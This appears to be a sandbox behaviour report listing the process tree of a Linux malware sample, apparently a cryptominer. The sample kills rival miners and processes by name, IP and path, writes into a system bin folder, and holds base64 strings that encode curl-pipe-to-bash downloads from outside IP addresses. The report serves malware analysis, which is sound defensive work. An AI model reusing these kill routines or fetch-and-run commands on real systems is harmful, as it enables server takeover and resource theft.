- Reads CPU attributes
- Reads runtime system information
PID:641
-
-
/bin/grepgrep -v grep2⤵PID:642
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:643
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:644
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:646
-
-
/bin/psps aux2⤵PID:648
-
-
/bin/grepgrep -v grep2⤵PID:649
-
-
/bin/grepgrep AgdgACUD2⤵PID:650
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:651
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:652
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:653
-
-
/bin/grepgrep -v grep2⤵PID:654
-
-
/bin/grepgrep uiZvwxG82⤵PID:655
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:656
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:657
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:658
-
-
/bin/grepgrep -v grep2⤵PID:659
-
-
/bin/grepgrep hahwNEdB2⤵PID:660
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:661
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:662
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:663
-
-
/bin/grepgrep -v grep2⤵PID:664
-
-
/bin/grepgrep BtwXn5qH2⤵PID:665
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:667
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:668
-
-
/bin/grepgrep -v grep2⤵PID:669
-
-
/bin/grepgrep 3XEzey2T2⤵PID:670
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:671
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:672
-
-
/bin/psps aux2⤵PID:673
-
-
/bin/grepgrep -v grep2⤵PID:674
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:675
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:676
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:677
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:678
-
-
/bin/grepgrep -v grep2⤵PID:679
-
-
/bin/grepgrep svc2⤵PID:680
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:682
-
-
/bin/psps aux2⤵PID:683
-
-
/bin/grepgrep -v grep2⤵PID:684
-
-
/bin/grepgrep HD7fcBgg2⤵PID:685
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:686
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:687
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:688
-
-
/bin/grepgrep -v grep2⤵PID:689
-
-
/bin/grepgrep zXcDajSs2⤵PID:690
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:692
-
-
/bin/psps aux2⤵PID:693
-
-
/bin/grepgrep -v grep2⤵PID:694
-
-
/bin/grepgrep 3lmigMo2⤵PID:695
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:696
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:697
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:698
-
-
/bin/grepgrep -v grep2⤵PID:699
-
-
/bin/grepgrep AkMK4A22⤵PID:700
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:701
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:702
-
-
/bin/psps aux2⤵PID:703
-
-
/bin/grepgrep -v grep2⤵PID:704
-
-
/bin/grepgrep AJ2AkKe2⤵PID:705
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:706
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:707
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:710
-
-
/bin/grepgrep -v grep2⤵PID:711
-
-
/bin/grepgrep HiPxCJRS2⤵PID:712
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:714
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:715
-
-
/bin/grepgrep -v grep2⤵PID:716
-
-
/bin/grepgrep http_0xCC0302⤵PID:717
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:718
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:719
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:720
-
-
/bin/grepgrep -v grep2⤵PID:721
-
-
/bin/grepgrep http_0xCC0312⤵PID:722
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:723
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:724
-
-
/bin/psps aux2⤵PID:725
-
-
/bin/grepgrep -v grep2⤵PID:726
-
-
/bin/grepgrep http_0xCC0322⤵PID:727
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:728
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:729
-
-
/bin/psps aux2⤵PID:730
-
-
/bin/grepgrep -v grep2⤵PID:731
-
-
/bin/grepgrep http_0xCC0332⤵PID:732
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:733
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:734
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:735
-
-
/bin/grepgrep -v grep2⤵PID:736
-
-
/bin/grepgrep C4iLM4L2⤵PID:737
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:738
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:739
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:740
-
-
/bin/grepgrep -v grep2⤵PID:741
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:742
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:744
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:745
-
-
/bin/grepgrep -v grep2⤵PID:746
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:747
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:748
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:749
-
-
/bin/grepgrep -v grep2⤵PID:750
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:751
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:752
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:753
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:754
-
-
/bin/grepgrep -v grep2⤵PID:755
-
-
/bin/grepgrep i4b503a52cc52⤵PID:756
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:758
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:759
-
-
/bin/grepgrep -v grep2⤵PID:760
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:761
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:762
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:763
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:764
-
-
/bin/grepgrep -v grep2⤵PID:765
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:766
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:768
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:769
-
-
/bin/grepgrep -v grep2⤵PID:770
-
-
/bin/grepgrep nqscheduler2⤵PID:771
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:772
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:773
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:776
-
-
/bin/grepgrep -v grep2⤵PID:777
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:778
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:780
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:781
-
-
/bin/grepgrep -v grep2⤵PID:782
-
-
/bin/grepgrep -v aux2⤵PID:783
-
-
/bin/grepgrep "]"2⤵PID:784
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:785
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:786
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:787
-
-
/bin/grepgrep -v grep2⤵PID:788
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:789
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:790
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:791
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:792
-
-
/bin/grepgrep -v grep2⤵PID:793
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:794
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:796
-
-
/bin/psps aux2⤵PID:797
-
-
/bin/grepgrep -v grep2⤵PID:798
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:799
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:800
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:801
-
-
/bin/psps aux2⤵PID:802
-
-
/bin/grepgrep -v grep2⤵PID:803
-
-
/bin/grepgrep -v /2⤵PID:804
-
-
/bin/grepgrep -v -2⤵PID:805
-
-
/bin/grepgrep -v _2⤵PID:806
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:807
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:808
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:809
-
-
/bin/grepgrep -v grep2⤵PID:810
-
-
/bin/grepgrep "\\[^"2⤵PID:811
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:812
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:813
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:814
-
-
/bin/grepgrep -v grep2⤵PID:815
-
-
/bin/grepgrep rsync2⤵PID:816
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:817
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:818
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:819
-
-
/bin/grepgrep -v grep2⤵PID:820
-
-
/bin/grepgrep watchd0g2⤵PID:821
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:822
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:823
-
-
/bin/psps aux2⤵PID:824
-
-
/bin/grepgrep -v grep2⤵PID:825
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
- Writes file to system bin folder
PID:826
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:827
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:826
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:826
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:826
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:826
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:826
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:826
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:828
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:829
-
-
/bin/grepgrep -v grep2⤵PID:830
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:831
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:833
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:834
-
-
/bin/grepgrep -v grep2⤵PID:835
-
-
/bin/grepgrep /tmp/java2⤵PID:836
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:837
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:838
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:841
-
-
/bin/grepgrep -v grep2⤵PID:842
-
-
/bin/grepgrep gitee.com2⤵PID:843
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:844
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:845
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:846
-
-
/bin/grepgrep -v grep2⤵PID:847
-
-
/bin/grepgrep /tmp/java2⤵PID:848
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:849
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:850
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:851
-
-
/bin/grepgrep -v grep2⤵PID:852
-
-
/bin/grepgrep 104.248.4.1622⤵PID:853
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:854
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:855
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:856
-
-
/bin/grepgrep -v grep2⤵PID:857
-
-
/bin/grepgrep 89.35.39.782⤵PID:858
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:859
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/bin/psps aux2⤵PID:861
-
-
/bin/grepgrep -v grep2⤵PID:862
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:863
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:864
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:865
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:866
-
-
/bin/grepgrep -v grep2⤵PID:867
-
-
/bin/grepgrep kthrotlds2⤵PID:868
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:870
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:872
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:874
-
-
/bin/grepgrep -v grep2⤵PID:875
-
-
/bin/grepgrep ksoftirqds2⤵PID:876
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:877
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:878
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:881
-
-
/bin/grepgrep -v grep2⤵PID:883
-
-
/bin/grepgrep netdns2⤵PID:884
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:885
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:887
-
-
/bin/psps aux2⤵PID:892
-
-
/bin/grepgrep -v grep2⤵PID:893
-
-
/bin/grepgrep watchdogs2⤵PID:895
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:896
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:897
-
-
/bin/psps aux2⤵PID:904
-
-
/bin/grepgrep -v grep2⤵PID:906
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:907
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:908
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:911
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:913
-
-
/bin/grepgrep -v grep2⤵PID:914
-
-
/bin/grepgrep kinsing2⤵PID:916
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:917
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:918
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:920
-
-
/bin/grepgrep -v grep2⤵PID:922
-
-
/bin/grepgrep redis22⤵PID:923
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:924
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:925
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:928
-
-
/bin/grepgrep -v grep2⤵PID:929
-
-
/bin/grepgrep -v aux2⤵PID:930
-
-
/bin/grepgrep " ps"2⤵PID:931
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:932
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:933
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:934
-
-
/bin/grepgrep -v grep2⤵PID:935
-
-
/bin/grepgrep sync_supers2⤵PID:936
-
-
/usr/bin/cutcut -c 9-152⤵PID:937
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:938
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:940
-
-
/bin/grepgrep -v grep2⤵PID:941
-
-
/bin/grepgrep cpuset2⤵PID:942
-
-
/usr/bin/cutcut -c 9-152⤵PID:943
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:944
-
-
/bin/psps aux2⤵PID:945
-
-
/bin/grepgrep -v grep2⤵PID:946
-
-
/bin/grepgrep -v aux2⤵PID:947
-
-
/bin/grepgrep "x]"2⤵PID:948
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:949
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:950
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:951
-
-
/bin/grepgrep -v grep2⤵PID:952
-
-
/bin/grepgrep -v aux2⤵PID:953
-
-
/bin/grepgrep "sh] <"2⤵PID:954
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:955
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:956
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:957
-
-
/bin/grepgrep -v grep2⤵PID:958
-
-
/bin/grepgrep -v aux2⤵PID:959
-
-
/bin/grepgrep " \\[]"2⤵PID:960
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:961
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:962
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:963
-
-
/bin/grepgrep -v grep2⤵PID:964
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:965
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:966
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:967
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:968
-
-
/bin/grepgrep -v grep2⤵PID:969
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:970
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:971
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:972
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:977
-
-
/bin/grepgrep -v grep2⤵PID:978
-
-
/bin/grepgrep hahwNEdB2⤵PID:979
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:980
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:981
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:984
-
-
/bin/grepgrep -v grep2⤵PID:985
-
-
/bin/grepgrep CnzFVPLF2⤵PID:986
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:987
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:989
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:991
-
-
/bin/grepgrep -v grep2⤵PID:992
-
-
/bin/grepgrep CvKzzZLs2⤵PID:994
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:995
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:996
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:999
-
-
/bin/grepgrep -v grep2⤵PID:1000
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1001
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1002
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1003
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1005
-
-
/bin/grepgrep -v grep2⤵PID:1007
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1008
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1009
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1011
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1013
-
-
/bin/grepgrep -v grep2⤵PID:1014
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1016
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1017
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1018
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1021
-
-
/bin/grepgrep -v grep2⤵PID:1022
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1023
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1024
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1025
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1028
-
-
/bin/grepgrep -v grep2⤵PID:1029
-
-
/bin/grepgrep sustse2⤵PID:1030
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1031
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1032
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1035
-
-
/bin/grepgrep -v grep2⤵PID:1036
-
-
/bin/grepgrep sustse32⤵PID:1037
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1038
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1039
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1042
-
-
/bin/grepgrep -v grep2⤵PID:1043
-
-
/bin/grepgrep mr.sh2⤵PID:1044
-
-
/bin/grepgrep wget2⤵PID:1045
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1046
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1047
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1050
-
-
/bin/grepgrep -v grep2⤵PID:1051
-
-
/bin/grepgrep mr.sh2⤵PID:1052
-
-
/bin/grepgrep curl2⤵PID:1053
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1054
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1055
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1060
-
-
/bin/grepgrep -v grep2⤵PID:1061
-
-
/bin/grepgrep 2mr.sh2⤵PID:1062
-
-
/bin/grepgrep wget2⤵PID:1063
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1064
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1065
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1068
-
-
/bin/grepgrep -v grep2⤵PID:1069
-
-
/bin/grepgrep 2mr.sh2⤵PID:1070
-
-
/bin/grepgrep curl2⤵PID:1071
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1072
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1074
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1079
-
-
/bin/grepgrep -v grep2⤵PID:1080
-
-
/bin/grepgrep cr5.sh2⤵PID:1081
-
-
/bin/grepgrep wget2⤵PID:1082
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1083
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1084
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1087
-
-
/bin/grepgrep -v grep2⤵PID:1088
-
-
/bin/grepgrep cr5.sh2⤵PID:1089
-
-
/bin/grepgrep curl2⤵PID:1091
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1092
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1094
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1097
-
-
/bin/grepgrep -v grep2⤵PID:1098
-
-
/bin/grepgrep logo9.jpg2⤵PID:1099
-
-
/bin/grepgrep wget2⤵PID:1101
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1102
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1103
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1106
-
-
/bin/grepgrep -v grep2⤵PID:1107
-
-
/bin/grepgrep logo9.jpg2⤵PID:1108
-
-
/bin/grepgrep curl2⤵PID:1109
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1111
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1112
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1114
-
-
/bin/grepgrep -v grep2⤵PID:1115
-
-
/bin/grepgrep j2.conf2⤵PID:1117
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1118
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1119
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1120
-
-
/bin/grepgrep -v grep2⤵PID:1121
-
-
/bin/grepgrep luk-cpu2⤵PID:1122
-
-
/bin/grepgrep wget2⤵PID:1124
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1125
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1126
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1127
-
-
/bin/grepgrep -v grep2⤵PID:1128
-
-
/bin/grepgrep luk-cpu2⤵PID:1129
-
-
/bin/grepgrep curl2⤵PID:1130
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1131
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1132
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1133
-
-
/bin/grepgrep -v grep2⤵PID:1134
-
-
/bin/grepgrep ficov2⤵PID:1135
-
-
/bin/grepgrep wget2⤵PID:1136
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1137
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1138
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1139
-
-
/bin/grepgrep -v grep2⤵PID:1140
-
-
/bin/grepgrep ficov2⤵PID:1141
-
-
/bin/grepgrep curl2⤵PID:1142
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1143
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1144
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1147
-
-
/bin/grepgrep -v grep2⤵PID:1148
-
-
/bin/grepgrep he.sh2⤵PID:1149
-
-
/bin/grepgrep wget2⤵PID:1150
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1151
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1152
-
-
/bin/psps aux2⤵PID:1153
-
-
/bin/grepgrep -v grep2⤵PID:1154
-
-
/bin/grepgrep he.sh2⤵PID:1155
-
-
/bin/grepgrep curl2⤵PID:1156
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1157
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1158
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1159
-
-
/bin/grepgrep -v grep2⤵PID:1160
-
-
/bin/grepgrep miner.sh2⤵PID:1161
-
-
/bin/grepgrep wget2⤵PID:1163
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1164
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1166
-
-
/bin/psps aux2⤵PID:1168
-
-
/bin/grepgrep -v grep2⤵PID:1169
-
-
/bin/grepgrep miner.sh2⤵PID:1171
-
-
/bin/grepgrep curl2⤵PID:1172
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1173
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1174
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1177
-
-
/bin/grepgrep -v grep2⤵PID:1178
-
-
/bin/grepgrep nullcrew2⤵PID:1179
-
-
/bin/grepgrep wget2⤵PID:1180
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1181
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1182
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1185
-
-
/bin/grepgrep -v grep2⤵PID:1186
-
-
/bin/grepgrep nullcrew2⤵PID:1187
-
-
/bin/grepgrep curl2⤵PID:1188
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1189
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1191
-
-
/bin/psps aux2⤵PID:1195
-
-
/bin/grepgrep -v grep2⤵PID:1196
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:389
-
